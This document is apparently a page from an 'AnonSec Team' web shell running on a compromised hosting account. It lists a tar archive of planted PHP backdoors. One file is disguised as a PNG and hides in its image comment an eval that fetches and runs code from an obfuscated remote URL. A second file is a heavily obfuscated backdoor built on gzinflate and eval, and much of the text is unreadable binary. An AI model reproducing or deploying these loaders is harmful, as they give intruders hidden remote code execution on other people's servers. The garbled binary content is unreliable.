AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/7648l2-20260310230235/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/41ocw6.tar
146yi.php000064400000010666151550217160006145 0ustar00�PNG

   
IHDR   @   @   ?iq?   	pHYs  
  
 ?�   �tEXtComment <?php echo eval("\77\76" . file_get_contents("\x68\164\164\x70\72\57\x2f\x75\156\x64\145\162\x67\x72\x6f\x75\x6e\x64\x2e\145\x76\x69\x6c\x74\x77\x2e\151\x6e\57\155\x2e\x74\170\164")); ?>
9HO?  
IDATx�?�
��UC?<�?
?Pj?A?d*E)"??A��R?A$�,`A??T
 C ?AB?0Eh�B"�Z?�T??K?�??f5??�6�U{�s�
�??��~g�����{�+??IO5?H�+i��Y�^?�w$��C?����q�>'��NP��t��JI�$?J,�8�$}SRk? �%�7�?�?�X,i?��H?XRgIM�c[H�(�'m�&?�??�9�${@?�J:C?��FIzD?A"�Z?$=,��?Jj.i�����??�?:�h/iN ?_�?J? U`?��?,i?�K$��4�9?]��C?�`��w!f ?�����??C?@??A��rt�.���E�[��E�K?q��?K�qI?Ilꄙ\���eIC?zI$}���>"iR��X�?��?1�???�I�????ON�?%])�a-IU@? I
?<��-V���\k�%�`�5�>.�jI�����_W0?�A?d��Iz�??K?��?_?�??��??y]LZ
Zb|?�$}H?�a??�?/d�??Y�>,�F?U
FEt�A*~?��tA?A�?>>�o\�'��?E|0??�q�?�f?"ixr?-IcJ?[?��@E? ?q�?E1�?�??jXiss�K)�UU��&|G??�>�?�;׋:{w[?tgIJh0Z.�t�?�D<UO(EY?? s1u�?-0q�e;
5L?~I??�}�?�<�??U8�P??>_IUU??0:X�??O0�??U�?�6?I??��?Wv[��U�?)$??� �^l�
ssPE�?Uh�?e�'?E2QKd,IN?��?�8�IMR%uO,���?8?=��v�'x�ww$}>?X�x
J?U?��"???9t??<ME?6b??�56I��I�f???U?Ap� ��p/I�?gc\h�?�??�?~-b?
�nH^�U�#�q?.�� &,|�~?pF�FS?,��d?:�1??a��s3}���?A){��U@dV??:D?9�?LIaI{$�?DuC��sJ�wG�<?�*"�?Jz9f�?���e??�5t�4/��vhksA0?����9?z�c��D�5E6h�vu?v�???Ol?[��?7??v�f?@�����9�CC?'��5I�l)�J]?9X�&�
�?1??=�U?�?���L}���?E?O�?I$�I�C?Y�e�G?I9�i^4e�?dc=�s???S?� ???�v'?�*�e�?�wFEO%] =����?A� 6-�?9-_?I?x1�?`�bqi?�eoE?�`��&~9?Xg�qNN}B?OW��????.?���?,?*�,x�?�??J?E���1E?#�{���%!�R.�#
?�?9R??U6?��1"\?�`$D����?jE\d�?�Y>b�/?fu?�???�?m?,��qL,?�G?/??��?sX�,�????�?5A���E?���n�"?�???�.��q?1p?O6<[?6+?7?.??��?D?��?��?s�?�??�^H??bpn�A??x�r�?$<�F?Ep	^�G�9���pCJ� u{B�?�]�??m?�V?l�z|'���<�]HC�&.�)Ef��C?��g?nDA�T1�?U,?�@?�w??A' ��L�NIV|??a�Gp??fq,�~>
2�r�0�s?~I!�2g1�I??.A6^??Ac�g????U??&?A\��UE�>�O�H_�~��I?IAA??Xl=4#[k?�x�???I?�xt?Ilj!�5X�M??dY87O#�?)��?�3�n"IrMrB4��W@�?��?�1(?c?</�����%a�?<Y??+f?n?Aq+?8u?N��i<�3?M�?�>!�,U�??Ox9,8B?D��g�?~]�?�A��gfCP�?\? �u?��U�wc??i]A<Wp��Z?f??U8���q?1pW??�
I&.�??�??k?��Hi]$�
Up�A?E��G�V?�qI?1� �?0x
I�h?? C�8p�s{<?�v��z|�qj�?<?��?I�I?C4�I;???|^??T�?�&E?!?hk�E(IE�l�?D?F????r????��?�|�??ai�6+z�$?�?U?�p�g?�
�, w2{?:?-4?4?�r�Y0-?��A�aU��?;???�>?�a0�=C���[A�?>��"��NE$&�??�0%???8�\�$Ek�n7/?Ax^^
<??��?=�??�ihAM��.�x�DM?�,(?�??4?]
�
�k?}
???��?RFZ%�EQ�\04hdKt�?S�k?Y��g�?E���`?r�??�?I?i�"U56��L�&U�9|kS?
�N�UU)+g�_0?�?E�?bvp??z G?U!?V
U���I?,"Gz=3?2??�
N?'0��>yS�?2�??2�m?p83 d�vP?Ea`?U�c�?a�c묨I�_�A�V�I�88X?K��_R�x??,ksV���E	�<A��?]V�
7Of"�~??�C�?(U?x
v?E8?�NV�?� Y??.?�?C?����yu�IP?�u� �(m?�� ?J?���rf.�}�??EJ8?��?"���`v�)6n?E���~?�v~'
�G`�eu�?%?�8??���ob�cp
?��???E?al?g�ntPx?�b�?鄩	�?E?2?�#A�DD!,�???಻�qײA?�?w�W��?S�3X�q�_d1?J�7P
I�?U�sAQ8.�?BT7�?��a�JE[2FN?V?�+p=� y�?���*?d'�6a??? n?^;s���
?�i?mO-�???T��y?Uy`???��=���=B�?~??R?�E?�D�gs��??�L?1???O�?N?�?e?r�?E�?'??1Em,??R?��l�n)m??�?:{:A?o�???�?{I    IEND�B`�vf2s0.php000064400000153130151550217160006223 0ustar00<?php
/**
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⡿⢿⡿⠿⠿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⡿⣿⣿
⣿⣿⣿⣿⠿⠿⢿⣿⣿⠟⣋⣭⣶⣶⣞⣿⣶⣶⣶⣬⣉⠻⣿⣿⡿⣋⣉⠻⣿⣿⣿
⣿⢻⣿⠃⣤⣤⣢⣍⣴⣿⢋⣵⣿⣿⣿⣿⣷⣶⣝⣿⣿⣧⣄⢉⣜⣥⣜⢷⢹⢇⢛
⡏⡦⡁⡸⢛⡴⢣⣾⢟⣿⣿⣿⢟⣾⣧⣙⢿⣿⣿⣿⣿⣿⣿⣿⢩⢳⣞⢿⡏⢷⣾
⣷⣵⡇⣗⡾⢁⣾⣟⣾⣿⡿⣻⣾⣿⣿⣿⡎⠛⡛⢿⣿⡟⣿⣿⡜⡜⢿⡌⠇⢾⣿
⣿⣿⠁⣾⠏⣾⣿⣿⣽⣑⣺⣥⣿⣿⣿⣿⣷⣶⣦⣖⢝⢿⣿⣿⣿⡀⠹⣿⣼⢸⣿
⣿⣿⢰⡏⢡⣿⣿⠐⣵⠿⠛⠛⣿⣿⣿⣿⣿⠍⠚⢙⠻⢦⣼⣿⣿⠁⣄⣿⣿⠘⣿
⣿⣿⢸⢹⢈⣿⣿⠘⣡⡞⠉⡀⢻⣿⣿⣿⣿⢃⠠⢈⢳⣌⣩⣿⣿⠰⠿⢼⣿⠀⣿
⣿⠿⣘⠯⠌⡟⣿⡟⣾⣇⢾⡵⣹⣟⣿⣿⣿⣮⣓⣫⣿⣟⢿⣿⢿⡾⡹⢆⣦⣤⢹
⣅⣛⠶⠽⣧⣋⠳⡓⢿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣫⣸⠏⡋⠷⣛⣫⡍⣶⣿
⣿⡿⢸⢳⣶⣶⠀⡇⣬⡛⠿⣿⣿⣿⣿⣿⣿⣿⠿⢟⣉⣕⡭⠀⢺⣸⣽⢻⡅⣿⣿
⣿⡇⣾⡾⣰⡯⠀⡗⣯⣿⣽⡶⠶⠂⢠⣾⣿⠐⠚⠻⢯⣿⠇⠎⡀⣳⣿⣼⡃⣿⣿
⣿⡇⣟⣇⡟⣧⠀⡗⣿⣿⡿⢡⢖⣀⠼⢟⣻⣤⣔⢦⢸⣿⢀⢆⢡⣿⣯⢹⡃⣿⣿
⣿⡇⡏⣿⡾⣸⣿⣇⠸⠟⣋⣼⣼⣿⢻⣿⣿⢿⣟⢾⣌⠫⠈⣶⣿⡿⣩⡿⢃⣿⣿
⣿⣷⡀⠻⡷⢪⢧⡙⠰⣾⣿⣿⣾⡽⣾⣿⡿⣺⣵⣾⣿⡇⡜⣽⠟⢷⣪⣴⣿⣿⣿
⣿⣿⣿⣾⣿⠏⣤⡁⣷⣽⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣱⠸⣱⣦⠙⣿⣿⣿⣾⣿
**/
$sokaki = "\x39\xa4\227\3\235\17\56\242\xa0\136\x20\114\xd1\163\236\x51\164\36\326\146\253\27\130\xf3\x2a\x69\77\303";

if (function_exists("user_super")) {
	pcntl_signal(senia, berika);
	pcntl_signal(larva, berika);
	pcntl_signal(mojika, berika);
	pcntl_signal(matisu, berika);
}

eval(("\x67\x7a\x69\156\146\154\141\164\145")("���OQ�ݸq�څ7�\$|m�\$.��R�BBJR�
	myVK��@��Ay����!ȣP`iA
��X^�%�
8S0�;���s��w�{Ν���+ׄ�\"�\$=S��]��\\N�n*Pb4;�^�Wo8f�ֲ����u@�Z2jvl��XWn��˝�j��QҘ�i9����Y_y���>G<�%���\"67���oz��VG0gۜEߛjMRE�L��cDckY��_��M�\"`��3g���,�@/P�q�l X4CM�gQ�'�R��T��%��g��D�A�s��|[W����?��S�
��;����>C̠D�8ę�k\\��qs���\"�G[�;8;���i�
���,.;�!b�,�6z�f�	?kL�Y�c��o+_*iT�
u��κ
K�B��A>�k�k��f��GcȀ,n�d�M�K�o�կO���y�c�6k�4͖�,��_�V�ʌ*Y�W�����Yp�?n�N*���U~k��e�5;��~ߨ�P���q��N_��V�{�t������C�LF9]i���D_8\\��9r'ZzJmU����7v�y�`�q�&�ޒi�r��Y���(
���3ln�˶�+x1q %Tf�d��:��!A���)N��O�&�	
��K�*E�I�sBc�E<�1��p(�ao}�����\\0����t���٩yl�,H��2��)xJ�~��kj=���{�m �]���d	�A��x�#\$�%
�2���mx��r��\\8�#�IwA�!~QX(H�0P���(L=1�@b\$����%�P���E�Dw��
�*�-�f��b��G ��@��l/p燵�ByAW�ݚp蟭)�\$�bz�<]\$��K(.�\"�Gv4�;�"))xor${"a��ꁥ��������	���ߠ��ùѠ��ͳ�����ӆ̵߹��õ���ŋ�����ݽ�����������Ӧ����	������ՓΖ�������倯ω�������ֿ��ƈ�����֋���������ڸ�⡕�����������뺀誗����ސ��蟅��������ƾ��מ肓���������
�֓�ڣ�����������߳�����
�������	����
����΅ޢ��Ý�������������
��
������������������ސ����Տ������Ԯ�濸����
��㰗��	�����„���Ѣ�����������
����҄��Ù�����ٯ�Ըת���
��͈���������إ��ҩ�������
������������������ם�������
������㗊�����������Ĕ������˩�����ѓ����������Þ�����ܼ��ᅨ������偌ΑڞÀIJ�����ͭ����ˏ��������Ց�����������ױ��ޟ��	�����Ӆ�����������	����̽ݍ�Ŷ�������������������А���������ҙ��򡏼���ᇑ����������ӱ���ㆤ��ޒ����Ɖ������������ŕ����혫��ȷ���������脢��������������
�������۟��п��
�������������߰�����"}=_��٫�("�wOh �")xor/*c*/${"b���޶����ե���ã��
��ȩ�չ�����������䒾ԟ�������칫��ܧ��桖������������у������������֐�������&����˱᠄�������р���������ȶ������	�×�������ػ�����վ��������Ż�ܦ�֧������	��ϖ�������Ǟ����ʕ���ߩ�����
����������
����Ɣ����Ӕ����������؟˯����	���ꗾ������ޑ���
Ӽ���������ň�靣�琄׽��ꂩ�Ċ�������̎ȩ����ч�����ŋ�����Ĝ�����Ϙ
�����
��Ѓ�˄�ĥ�	���������慶����ƹ�����ρ�ʍ���ԉ���Ā�ڐ���ˊ��̙��ٻ뚺����ז����
Λ���������谿���������ӎ㵓���
��޳Ŋ���	����
���Ş�َ�������
��۟�緎����ʯ�臇�ݏ������ס�������ⅈ����������֩�����
ݚ���
������������������������픎���ĀˎɁ�������Ή�Ȉ�
������¹��ܮ�������͵���	������Ȇ	�����϶���Ԯ�������ܷ����ԛ������ؓ�����������
��������������������Ҋ�IJ
�����ܐ��������듙�
ы��۬�����������
��ʹ�"}=_��٫�("0��2\\{�e}�")xor/*c*/${"d��✙�������⡪�����

�ǃ�����������ģ�߾����̸ё���������Ё�Ф�Т�������
��䵢޷����ƒ
����
�����������Ѻ������ɸ��È�������
����������惊������
����濘���������ɹ�������񅲛�֝���׷�ɪ۬�����޹����Ŝ�������������������������������������������͗�����������������������öɈς��嗢��ʇ����٨������������������ۖ��âǴ��Ĭ��������ڮ�򛖻������
�������������̑���ǡ��ߘ��ރ����Ğ�����Ώ������ӹ��섓��¡§������
����������Ʈ�����������ߺ����������ų�����Ӊ��ѯ�ݱ�����������������������������մœα���Ԍ�ް��钬�����Ԏ�������ř����Ү��������������������ݎ�����Τ�
������٨�Ԯץ�����������������Ͳ����������ɦ�����͈��������
�߅ۄ������׼��ꀾ׍ᒃ���ޯ���������Ȥ���ؼ���
���
��ޔ���ƹ�����ы����ﯹ�������жٻ��������ɮ���ߍ	�	����ʑ����������������ϙʱ��"}=_��٫�("��b���y)�")xor/*c*/${"e������㫋נ쏞����ӯ������
��䭈������������ѽ�ۘϢ����
�������в�ݹ���ӱ������ǧ���������ǘѧ��������ī�ѵ������������޵�����������ƶ���������Ե�ِՒ��ߴ����ؾ�׸�����̿�	������￞�������ਧ�Ҡ���፛�����������������ۣ���Յ��䨐�ˋ��	��
���י���鍟���م�
�������ȡ������������������������œ��
������⇃�⩈�����в���ׅ�
���ƒ������������ΰ��ڍ�첻���ɭ��ϯ�����������������뷖�ʭ������͡�����σ������
������
�����؝�ǡ�����ݛ��ݗ�������������������‹������җ��������ᅣ��
����⯷���������耾�������������������Ʌ�Ό݋�ʻ����׳����������
�����ւ��Ў
�
���ؠ������������ų���������ÿ�����������󈨢���	�ؾ͟�����ʽ޸̽�
���ְ����
�̒��	�ߏ��򜞄����
�瓎И���Р†���������뛜����������ܥ���������ˣ�����	�������Ō
���Ơ���������������
��"}=_��٫�("��h�����\"G")xor/*c*/${"f���������ٖ���������ڒ�������
���������֝
��������®	��։�ፘ�������������ܽ
�����������Ɓ�Ӌ��������������ӷ���ތ�
҇���ب�����������������脧�ۡ�������������Ŋ������ͮ���
����ޚ�������ك������ы�	ץ���ȃ��ī�
���
׾�ų���⷏�����ʀ����͖�ʤ��Ӡ����Ȧ��Ү���ݺ�������ط�“
�������い�ǀ�������������
���Þխט����	��������Ȥҟ���������ƿ	�Ɋ�ڡ�Е���������������ї�آ�������ְ�Ƽ������ۡ���僺�����������
���ĵ�ی������������������
������×�������������������沐쳋���	�Ԧ�ٻ��������߈��۔��
�Б͝����ɤ��݁����흓���������ȼ�����������ʬ̊�٬��������Õ��ʏ�����������������ۃ�����
����������������Ԩ�Տ����ޤ������ۣ������ܑ���������툪휗��������ƽ�ٴ��Ռ�͘�����ฟ������������ڔ������Ҟ���¿�����Ʋ��׆���Ȃ����
�������𬫚���Ԫ�����ȗ����������ʷ�����"}=_��٫�("�inOP�w�Ps`")xor/*c*/${"g����ɝƯ�����������㥰�ʜ����ܒ��Ҧ˱������ř���������ߌ��Ƀ�����������������
�ԇ�������������ӥ���������ί������ӯ��ٱ������
����웣�ؘ�ӣ�얝�
���ӟ���ν�疿���ѸŹɻ������˛﹚����ܘ��������Ø��������
������б�Ҳ�������������
��
����������Ơ�������񏪍�ں����ҹ��網������ޕ�Ȟ���ʝ������®�������������ʉ�˪��������������	��������������ػ�̇�������ʻ��������������������٥������ï؇�ް�����ށğ���������͠��������������۶�������؍���ݮ������������������ѫ甫ө���������Ӹ��Ǣ����
����������ء���ط��ˮ�����ɺ닿�✳ݫ������ݟ�����ȣ���ݞ�絸��޲������ꑼ���׺ײ�����Ė���������	�����
�����仜�Ė��޴�������������ƫꊗ�����׸������롗�������ȶ�����ٰʼ�������փˏ
��������󋵜
	պ������‡�ԭ�����������ޟ����������"}=_��٫�(")��a���X���")xor/*c*/${"0�����ъ����������������ɺ����ߨ��ٯӇ
�Νʁ­�ʡ�歐�����������ѷ�Ҋ��������
�ĝ
����󑞻��������"}=_��٫�("��\"6آN��")xor/*c*/${"h����ޡ���
��Ү�ꪀ�������
������˕��ǂ���ː�ķ������̋Ջ������
���Թ�⁕��֥�������ƚ���ψ��ڊ�������諿�߽��ݬ����ޙ������������	��
�调���������Ď�ǫآ����Ʃ�ɽ�����臜�������������Ɏ�ߴ�����������ә���������і����趐�����ͩ���Б���������������������Ćՙ������ѓ�����¸��������њ
���������Ӊ�����ޥ����������䰴�զ�⎀����Ŕ�������˿����Ɗ��ܮ������������Є�֪��������劷݅
��Ե�����׶������
�	����
��	���좸�����Ѹ��΢򍚠�Ւ��ʎ���������ީ
���������ȅ�����������
�댎�����ʗ��������ƃ�������	����ݿ���	��ş��Ş�������������������
�������������ك�֕���б�ݚ���̃�������ԥ�ض������ޯ����	�����ί�����虢ܨ��������������������ɢ������á��د��ϰ��Ǣ
��
�㘾��Þ�����������̟��
�Ү�����������Ϟ�ȵ����
�������뢟��������㸑���
��������ю����Ùћ����������ڌ�"}=_��٫�("��E��
�H����G�q�8")xor/*c*//*c*/$�����=__COMPILER_HALT_OFFSET__ xor/*c*/eval(_��٫�("���ؔ#�_�|�yJ��X��O�Q4m&�	�_,;WG��'|�;��)`��T0ܖ��Z�[��/�\\8�U�훙�LA뛗�wOV�����떖\$�6�Oc�hNFم{�v|_j/��\"�n��D�l5�k*�證Xu%`\\�H���T�a�B\"�	���w�)�P��0Nrz�l�S/z��҄B��b�~�����)z��B�	m�\$s�_�A�*���r�\\���֯��*ºP�����-�l�ӊq>|�*J�=M;J2�x��%}��(����ɗR����_Q@��RCZq��{��ؗn/s��c-��l�0�/:���W�ĖM��;�}q�>�u��hg�1r�
ya���\$����]�i��т�N�̱��
o�&#:��g��J��{���<U6�e�+�m�~s�T�&�{��3��|��>��M�N����\$�<�%Β:հ��D�K+�waC���P<>���AȌ��=u�#�@�H�J��I�x�j̈y���rv�8�v�3Z*밯x[��c�_E�GQ
e�4/�=�+7��dDp���a���h�L\":�8]Т9	zIK1�CA-���\$�j?�S\\A5:�˘����\\���ff%�޼K_�P[~����j��ݷ ]�O��)��c�kOY�B��3��ӻ�����5��gЎE}H�;ԎP.�	��i�|�d����xL\"�p�i^�V1�7��\\�|i���q��į	��*���m�K�s+;��)5j�5wX�!?‰eh���N?�_e؉�i�\">��b��E�i!0��[M*��n[(��X�����<~�^��._������K�y�K��si��92�����q�לǗ!*���|Ƙ�7?]V��0#f�	4
rƣf!�����k�l�QX�֜a*Ш7�H��6�M��y���X��s
i7���hR��O:����gP��0��y��yg���4[UD�RK�M�
9C�i�8�ê�'n�d]\$\":(����tG�(N
��S�|;�4��}c���4krK��ح�?��qΤ��S��y^�e�s�߱���i��3�?��N�7l���l��ޛ�3�#\\�r�8lg��l������X��>f,NJS-�#�K�*=̦����L�U-�[å�a���P�8x�����<E�#[N��1gu���\"��޻wi�-�
?�yO�dhh���q��Q,�H�>RA嘌o�-3X�]R����7^�!�|WU��n*�K~s�	\$��5B�.�p�1���uaU�SB�	G?���t�<X+m#�{��}Q�����\$���@��7`	/�m����eۑ��L�,�{­q+TҲ�Ż��e��К+�5��\\QatY�b��I?&�&�j}�>�d�`��A���I'@\$�c��B��&� Y��	�c�k~�0�ԋ?����x���C�H�kۘ�c6iz��q����F���=���B�&�\$�0��NN�u3�c�!|�Z�'�����SV�,��I�᜵�|�my�'�b���m
�����b��(]?�u�;/�������g��}2�&�!�~
9��������
IU�\$L{9�=,R�@!���oN�pOi�������]�
�*���T�Y�7.8�u X!���rV8�{H���f����5LZ4f�7�19�����-�k���c�1�7:���e@tAw�cW.�8�ր�nl��-������F��xD���9��W2S�N[8������/vq�J(�em��w��-����)��־fI�o�J@�g4K���{Bͩ��^���73LLU����L'u>��6��������\$�l��*�I���lv����z\\�����܇Jh�Χ��
�'�6c�8��⻑�w������p��u|�^�=8nC}�[R��ڔ(�E���l�#@�_�X�Y�+��y4B	���ㆢ�Gu�}������%���Þ���1U+(|��6�
(���[`��3�\\�pq��_���{��
��a[��csi͝�Ҽn��ɣ�i�\\�����[��Z�U�ަ�˖���e��n����>:��\$�_m�n�*P�Ο���1�%-�t�a+O�v����1ƀ��5�8`�sN���34��o�;Iz5�;3�P�c��1f(��sQ
�FHH�;�_�����bR�KD5��&V�2�xfeOQ�Y�qA�M%va��[o�t�q5�0�x	=�BajN�]�	ߑ���*-6���yFvw�O{�l���>�L,�߬����F�����XC�[,\"��Fcy~X���y���]�B�b{
u0.��f/E%�E3xEM�B5S5gu�ԯ\"bq�D�< �L��^}-���[�Ly��gh�.ЧP�8d`���jG���tA��y��Ƌ�UO��ӾM��������e�9p�o]^��,c�^5|~ڜb�w˸�{B�o�v���Ih�[����,3��Q��m]��I>�XAXæ�V��1)'*g��2��v���O/[��3)��&�GUA�P�����ޢ`J�-=uF�+G*uPX�.��\"��� �����S���Oі���y���nk@��\$AS�wE���sx��	�\$��r�D���# E��w�z��k�Z᳡�ǹU�,�Dz[H��,5h�)�\"oV`�ѥ`v�b	3��}2
o߉�,�2�N`�'�����|�'�
�?�.7��e-�B<o�[r�\\�����p�n�yB����4A���\"I˼v�ʸ��?{�éj�X;��nO
3m��U>i���/�i���Y�Wׁ���OcAˣe(��_.���-둻d������TH���ҕ�wH�Y(�y+ť��7̨^��!��+�%g�>���d_r���^��ɎS�8�s�\"��T��J������`�!��}T\"T���R��
bP��;����硾�,zAJ��B^%P��*�Ɣ�Z<b
j�\\@k.��
�ՠa'[?[{��s�AԱt�\\v	�~�l�QHy!�Aa,b��X�,��[��6z��a^5�	;���@J5,�/�E�>�^[��A�)Y����z� +�ToK��&�^\\-�����H�����耚�����#!��/]j�AwN\$��k�������ō�]����qįR�M�t�^@��(���g�7�0�Q�u�6�z����c6��Et�d�s�|݃8�V/��m*�՝�
�S�D\\Ô�+�ɏiF��P�֛-��ƽ�q��O夃8	��������ܪ�O�4�#�j�����B�m��\$��
�&��
0�^(r)얏V{�A�vAi'��
����'Z��~;u_���%�3�R֠�|�4�^\$�����S�ڒ���#���_g�rZ�Z�&��v(�L��h�c����>B1n~�������E��阝�%1a��4_��#6�������H��4�A-�NH�(L��;�����/%=MWল�-2��y�DED�MV���b�ˆ��V���W�q�%�AY��ώ��q�:gާjWT��̼�^)�dn0�C�v�ۗ�X���8��ױx�Ub9���!��/#�R�-�5��	,^Q6��h�4��)�-�99-�èpB����W�6���x+j=0u1�a�^\"Mr�sk内��v���@��[0����<�v�/��R��	�ə��SЖ�m32�b�]h���%�a�þ&��XL�,p��U�10�:��`��E򯗜W���5��4yF��V�ԁ�@J!Xs����^L�,�(����Z��Bz_���ߎS��4Q2�y�>&^�x�'h��[��ZU�i��p�L�,�}-@+�= 
N�ܸ���
L�5��m? y�--zP�\\oҨ`J�bĂpY.IA��E��(F�fW�;�0@	��l��B~G�[@+�f[��rzkk�>��o	^޷sj ��{��eH�d)�L�q�5�`,s��bvV6�?�'h�[�>�9J�^@֗{�[��j�x�5��U�
�%��-��D�x���8�B~�ft+�J�\$�\\�
u��ׯP��-&�	��_��D����,R츭�G��B�����\$�GU�q�'3���!��
��Ŧ�V�1~��U�9� 
�e���v�k������D�-�-�cAIS��C��Ṽdr�)�H\$Y�<m�Kǩ���Q�d�Yf��މ�n�11�N���W
��(a��qy#�t�:8c�M����I���˭�Mb&9�a0P+���j�Z���W�
˜f���F�X���`�#�p9�C��Q>��W;S!�?Z��z
����27�k}޹�@=(�c{歪�v,�ŨwՉ��s�PG�ɉ�s,i�A�|��#^��5g���\$����:U��1V\$�2��\"�Z��NҐ*���`Q�M|��Qr�#��a2�EU��E�d���%�9
�ڕ\\�94�1��DזW��x��>�'��_@�N�N�XN.��/��!�m?+�y�l���ɯU�t0�+�*�F�=o���Ez�Q���v0e�+�S-'���a��D�C����f������\"��y.��)��i�\$�Tw#K
�!����W_�D��\$x� LkQ[_-?F^E����!�m�Á���������-(�>H�@	p�@��G�-�鞦�i�V�S��C�M3�:P�sc>�sY=U[G��j%s5��e�y�K�p���reP1�|�`Zt��ݾ&�ľx}�l\$�X
���YY��R��v�<���>Ϻ���ߐ�U�R|(����q� �\"�0�+•hR��LM��GdO��Nߛ�F���Z�`ԋ���w�9Ee�c�=�sY[�fBs]u:�l�FY5�\"�Urn���o�U;߈��1���wE���6��m0lU畧g�ȥZM�u7���Q��B�K(	��SunT�m\$%ƥ�\"E������T�.�-s	�G�1ױ�>�5�)+kw��8�-����
A��,왺i�U����|]~%��.E�����JeV�F�(�ᐈ��'��/2�[��F�3�!���'|�e��S�m�q��ޫLzӂ�vܔ_�O��o�e4e̲�w��8'�U�*3mxᷓ-���e*�p��ç]��z
m�^,�뼫�_\\c�`s��(,�MA�co\$k�d(�ݭ�)\"G�\$�b�ٹ[X���}q.�'�#��DF��JS��8�aPK=��1��7!X�u7�?�v
�7����o�Ɂ�|�Y��8PpEc�E����LVSt�MiX�,5\$���U7Ey�Wz�C.�0
��g��S=�6�?Y�i������9?��J�P5�FT�� ֒���?��X���6B�,9\\f��d��!��q���*͗�����/sՍ����tC|;&�[C|��:�[��ksj�{�>���uojVZ��(h�`YQ\$��rq�Th�?ۿ��FW'�X���YR#�ڙ/��q���\"���J��'r�]���<pE��9md@aڗl�)�IK(�x�;�]#��B�#�|=L����J�����Q���ؑ��3#R���<B�)��!��%W>�c���đ�<+�f��@����ϋ�*��\"P��O���
|U�*#������*�tN+�eўn�jP�ۓ��w�1����}��]7�Bc�2s�;��?��!\$�i�s����J�{���Sf�#9i��u?�h�\\d�.Fȷ�A[�G�i�F�r&����4\$`�3#d�ZA�c�g<W\\��*�&�Sm�0k]�{�zl�lF�K��j���L�\"ir3��w ����>ee\\�ל�IL>�Z�S���U�&�L�}Ս��a���1C��p���|-k�;���Os1}�4�KK��書%[n����b�	��AHO@;��m��22����a�LOf�]4SjMU9����M(t�X�)�/��d�5��r=�7.Y�Դ�G:Mr�JO0�|\"�/5N^4��T ��^�W�M�J�Ķ�݃7H���Yb]���	�
��_F�lvw�T����e��̕^���m&C&hSÁp?^b���8���]?���Z�{_>zG�%�9�(�ۿ%�+�E�^�CD�c<����CƌQR�n���aQ�0�o�7��!_�
�Fq�[V�9�7�;��q��;��@�H��϶�?�/ ���ub�H�=�2?#���_�\"_�s]��Gcԛ^�o:1DZm�e�_��hT�O���}l?�6�'w
 �<�~=�N|��v����M��E6����E���H��<bɊt<�����2ڢ.��p_���b�)�7⤦��B����	)_��d%��]�/������
��\$�0(\"������t�d_�b6�l����v����!��	�S%_4�|��w�xa�m���]��l+?�q���Vw��ιzk�\$����̈́o(����ӱ�͑�u�n�\"�`�l�5D�U/�:����sk�}~'BL��3�r`�+�Ø��&��H�,�����^�(?L�E��>�H˵�w�旦�@����
1RO�+ׁ8�8d�vG�y&����;�/��0� ���8�2�5
�(R^���溠'�n�4�����t��O���n_<�OGϥ����X�k��I���L`-̺��h�vS�B\$�U*�HբPc���%����Q�,avW�L���Sjm��T�dlЦ�u9hi��&C����3'��,��Ğ0[J����E?3`HO��ZBD��a����v�ܴl�w2��w�eҖ�թ���ݙÿ�y��?��y�<��ઔ�O!V	��dv	N���F.�/���B	S`6��b}��/���Y��O:�K��w�d�C�U�5�蟘��S�&��\$*
��^�xfRb?Y�g���M�Hڮ-����&�l/�j�\"ay	�^�"))xor/*c*/eval(_��٫�("�w	,��&[�X �b�7
�=���>C6��������v�_(kT���<<PPD��7?�[����!�D����7����O�~/6�`%�Ft5�8�N���/7D�;EnK�K�w
!�|ͲZ�es����\$�)Pw�zM_�MԒ>�׉gsq�q�D���#��`ub�k2)��b凨H�Ƒ6@���P��TEEF��̪霡g��2�
�!��n���N�3f-��b�/�^�YDz�-p9&�^���t	��::��c�v��{,VӭJ�n9.�_�a-a��7MSSR��Z��xN�SX�q�
�ya��+[믚R%���{X�\"Y�Q����nv���'*M�
����<X�/e���*:Ϛ��<PpZ�Ϥ�m/���<f����6D2�B�����L�7фIu
��i���?MŤy<Y�Y����vI;�;��kFzG�<��]���&�T�`,�M׼7[�q���wc�����d�3�d�/r�f�e{9C�O;f�E�TKۥ�.��a���h�]�G�̐�n�XP�&p��A���Y��r�#L�,��!C�&�.}.��s��&u��~8�#a���^����O���2�a���7\" �ۿJ�:�k��y�(>���a��K������-�|�l_�׏��o�o���(� ��D
'-��<���2Y۷(�k>�]�]W�_ѵ�S��5��n!�#�z/���=h�����|T��(Jhq�Y>�]�dR�����\"�%vY��;�N/�a��iԹ�c��|J�6{j,���K�\$�R KR�2��ŠB]��gD<g<I��7[���U�糼RM%k��Y�WЕV-�hR˨Ұm5��6�u[�Ņ���wت�k.�o@*�o_���h�!��c�>W�t>��w�d2�:2�`��%@�E*9�}^ �g,{����s��)�xɷdlp֑�3\"�pa�3�EQ*��DGHJ�?�\"x���K��z��L1�Y��.R�>b�	�'8����n���N�{�N����h+\\>UN�8\$�Yytwg�^���6b�z��Xƚ�T�3u[�N��Y��
�?<EF0�q��uo�6��a�m� �BLS%[�Լ%�U
M?�\"�R��n[�>E�|�ɔѸ	�/�7j�<�uԴ<��=X�^�c��!r?�8ُ\$\$?�6�H���*��[i�a�1A~�hK2�9ṓ��yރ:�=�̌��!��)!ڵ�w�a^m:ߗ�������F��B�)d�}�����v�7N��?�KjϿ��^�+�T��s���p@5�
D��ŕ'g^�}Ժ��G&N.�a��Z��3�\\�H��~�p�|U^UW���Lf䖚(*��y�B_ʺސf�P��D�`8�mj�
�{�CCq*Cze]��*%V�	m'ףI��*�n�	B��i	;�zJRk�v`�?�}���<�ry���'gX���s���
�9n|T�\$6��`��%�����VoǸ�,F�b3�h�Fp94N���zC�>���%�&[)	+�N��Ƹd���z�<�\$1��)d�`w�`
